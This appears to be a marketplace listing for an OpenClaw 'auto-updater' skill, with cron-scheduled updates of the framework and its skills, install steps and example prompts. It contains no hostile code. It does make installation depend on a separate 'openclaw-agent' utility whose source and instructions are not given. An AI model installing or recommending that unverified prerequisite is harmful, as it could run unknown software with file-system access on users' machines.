auto-updater

What This Skill Does

The auto-updater skill is a vital utility for OpenClaw users who want to maintain a high-performing and secure agent environment with minimal manual intervention. By leveraging a scheduled cron job, this skill automates the otherwise tedious process of keeping your Clawdbot framework and individual installed skills at their latest versions. It performs a comprehensive update cycle: first checking for core system updates for Clawdbot, followed by scanning all registered skills via clawdhub to identify pending updates. Once the process completes, the skill generates a structured report, detailing which components were upgraded, version jumps, and which skills remain current. This ensures your agent is always running the latest patches, performance optimizations, and security fixes released by developers.

Installation

Installation requires the prior setup of the openclaw-agent utility. Without this agent, the system cannot perform the necessary file-system operations or cron scheduling required for background updates.

1. Install the agent: Follow the OS-specific instructions for Windows or macOS provided in the core setup guide.
2. Add the skill: Run clawhub install openclaw/skills/skills/hightower6eu/auto-updater-hfmct in your terminal.
3. Initialize: Once installed, either use the quick-start prompt or manually define your cron schedule via clawdbot cron add to specify your preferred update window.

Use Cases

• Production Environments: Ideal for users running long-term automation tasks who cannot afford broken integrations due to outdated skill versions.
• Maintenance Optimization: Perfect for developers or power users who manage dozens of skills and want to avoid checking for updates manually every morning.
• Version Consistency: Ensures that if a skill requires a specific core Clawdbot feature or dependency, the update process synchronizes these dependencies correctly using clawdbot doctor.

Example Prompts

1. "Set up daily auto-updates for yourself and all your skills."
2. "Update all my skills now and let me know if there are any breaking changes in the latest versions."
3. "Show me the status of my current skill versions and when the next auto-update is scheduled to run."

Tips & Limitations

• Prerequisite Reliance: The skill will fail silently if the openclaw-agent is not running. Verify the agent process status before troubleshooting update failures.
• Cron Scheduling: We recommend setting the update time to off-peak hours (e.g., 4:00 AM) to ensure the system is not actively executing intensive tasks when the update process begins.
• Manual Verification: Always run clawdhub update --all --dry-run if you are concerned about potential breaking changes before allowing the automated process to commit to an update.